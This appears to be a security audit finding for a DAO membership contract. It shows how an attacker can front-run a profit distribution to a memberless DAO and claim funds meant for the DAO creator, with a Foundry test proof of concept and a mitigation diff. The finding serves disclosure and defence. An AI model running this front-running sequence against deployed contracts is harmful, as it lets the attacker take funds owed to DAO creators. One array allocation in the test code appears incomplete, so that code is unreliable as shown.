Description
if we take a look at MembershipERC1155::sendProfit() function, it checks to see if DAO has any members or not, if DAO has no Members, then the entire profit will be forwarded to DAO creator.
now what attacker can do is, front-run that profit distribution which is intended for DAO creator to receive by joining that DAO with MembershipFactory::joinDAO() function and buying lowest tier Membership Token. That will Cause to Profit being distributed throughout every DAO Member (which DAO has 1 Member Now. it's the Attacker) and Attacker Will be Able to Claim Entire Profit with MembershipERC1155::claimProfit() function. also attacker can continue to do this by burning his bought DAO membership token (leave the DAO), until another member other than him, joins the DAO and then he will be unable to perform this attack.
Impact
Attacker is able to Sandwich the Profit Distribution Transaction which DAO Creator is meant to receive and steal all profit. and can continue doing this by burning his membership token (leaving the DAO) and again if next time sees a profit is being distributed in a DAO with no members (totalSupply == 0), he can perform the same attack and steal profit that is intended for DAO Creator to receive until another member other than him, join the DAO.
Proof Of Concept
POC is written in Foundry.
import {Test, console} from "forge-std/Test.sol";
import {MembershipFactory} from "src/dao/MembershipFactory.sol";
import {MembershipERC1155} from "src/dao/tokens/MembershipERC1155.sol";
import "src/dao/libraries/MembershipDAOStructs.sol";
import {CurrencyManager} from "src/dao/CurrencyManager.sol";
import {ERC20Mock} from "lib/openzeppelin-contracts/contracts/mocks/token/ERC20Mock.sol";
contract OWPTest is Test {
MembershipFactory DAOFactory;
MembershipERC1155 daoImplementationLogic;
MembershipERC1155 DAO;
CurrencyManager currencyManager;
address owpWallet = makeAddr("owpWallet");
address deployer = makeAddr("deployer");
address daoCreator = makeAddr("daoCreator");
address businessCEO = makeAddr("businessCEO");
address attacker = makeAddr("attacker");
ERC20Mock daoCurrency;
uint256 private constant DAO_MAX_MEMBER_LIMIT = 70;
uint256 private constant DAO_TIER_NUM = 7;
uint256 private daoTierPrice = 80e18;
function setUp() public {
vm.startPrank(deployer);
daoCurrency = new ERC20Mock();
currencyManager = new CurrencyManager();
currencyManager.addCurrency(address(daoCurrency));
daoImplementationLogic = new MembershipERC1155();
DAOFactory = new MembershipFactory(address(currencyManager), owpWallet, "SOME_RANDOM_URI", address(daoImplementationLogic));
vm.stopPrank();
vm.startPrank(daoCreator);
DAOInputConfig memory daoInputConfig = DAOInputConfig({
ensname: "MY_DAO_NAME",
daoType: DAOType.SPONSORED,
currency: address(daoCurrency),
maxMembers: DAO_MAX_MEMBER_LIMIT,
noOfTiers: DAO_TIER_NUM
});
TierConfig[] memory tierConfigs = new TierConfig[]();
for (uint i = 0; i < tierConfigs.length; i++) {
tierConfigs[i] = TierConfig({
amount: 10,
price: daoTierPrice -= 10e18,
power: 0,
minted:0
});
}
DAO = MembershipERC1155(DAOFactory.createNewDAOMembership(daoInputConfig, tierConfigs));
vm.stopPrank();
}
function test_sandwichAttack() public {
deal(address(daoCurrency), attacker, 10e18);
assertEq(daoCurrency.balanceOf(attacker), 10e18);
deal(address(daoCurrency), businessCEO, 80e18);
assertEq(daoCurrency.balanceOf(businessCEO), 80e18);
assertEq(DAO.totalSupply(), 0);
vm.startPrank(attacker);
daoCurrency.approve(address(DAOFactory), 10e18);
DAOFactory.joinDAO(address(DAO), 6);
assertEq(DAO.totalSupply(), 1);
vm.stopPrank();
vm.startPrank(businessCEO);
daoCurrency.approve(address(DAO), 80e18);
DAO.sendProfit(80e18);
vm.stopPrank();
vm.startPrank(attacker);
DAO.claimProfit();
assertEq(daoCurrency.balanceOf(attacker), 80e18);
assertEq(daoCurrency.balanceOf(daoCreator), 0);
vm.stopPrank();
}
}
Recommended mitigation
The best mitigation to prevent this sandwich attack is to add a delay before a user can receive their membership token after purchasing it with the MembershipFactory::joinDAO() function.
With this approach, the user first pays for the membership token, then must wait 90 seconds before calling another function to claim their purchased membership token.
The mitigation could be implemented as follows:
contract MembershipFactory is AccessControl, NativeMetaTransaction {
+ struct MembershipToken {
+ uint256 mintCount;
+ uint256 timestamp;
+ }
+ mapping (address account => mapping (address dao => mapping (uint256 tierIndex => MembershipToken))) public membershipTokenMintCount;
function joinDAO(address daoMembershipAddress, uint256 tierIndex) external {
require(daos[daoMembershipAddress].noOfTiers > tierIndex, "Invalid tier.");
require(daos[daoMembershipAddress].tiers[tierIndex].amount > daos[daoMembershipAddress].tiers[tierIndex].minted, "Tier full.");
uint256 tierPrice = daos[daoMembershipAddress].tiers[tierIndex].price;
uint256 platformFees = (20 * tierPrice) / 100;
- daos[daoMembershipAddress].tiers[tierIndex].minted += 1;
+ MembershipToken storage membershipToken = membershipTokenMintCount[_msgSender()][daoMembershipAddress][tierIndex];
+ membershipToken.mintCount += 1;
+ membershipToken.timestamp = block.timestamp + 90;
IERC20(daos[daoMembershipAddress].currency).transferFrom(_msgSender(), owpWallet, platformFees);
IERC20(daos[daoMembershipAddress].currency).transferFrom(_msgSender(), daoMembershipAddress, tierPrice - platformFees);
- IMembershipERC1155(daoMembershipAddress).mint(_msgSender(), tierIndex, 1);
emit UserJoinedDAO(_msgSender(), daoMembershipAddress, tierIndex);
}
+ function claimMembership(address daoMembershipAddress, uint256 tierIndex) external {
+ MembershipToken storage membershipToken = membershipTokenMintCount[_msgSender()][daoMembershipAddress][tierIndex];
+ require(membershipToken.mintCount > 0, "MembershipFactory: No Tokens Available To Mint.");
+ require(membershipToken.timestamp < block.timestamp, "MembershipFactory: Not Enough Time Has Passed Yet To Be Able to Get Minted a Membership Token.");
+ daos[daoMembershipAddress].tiers[tierIndex].minted += 1;
+ membershipToken.mintCount -= 1;
+ // no need to reset membershipToken.timestamp, since it can't poses a security risk.
+ IMembershipERC1155(daoMembershipAddress).mint(_msgSender(), tierIndex, 1);
+ }
}
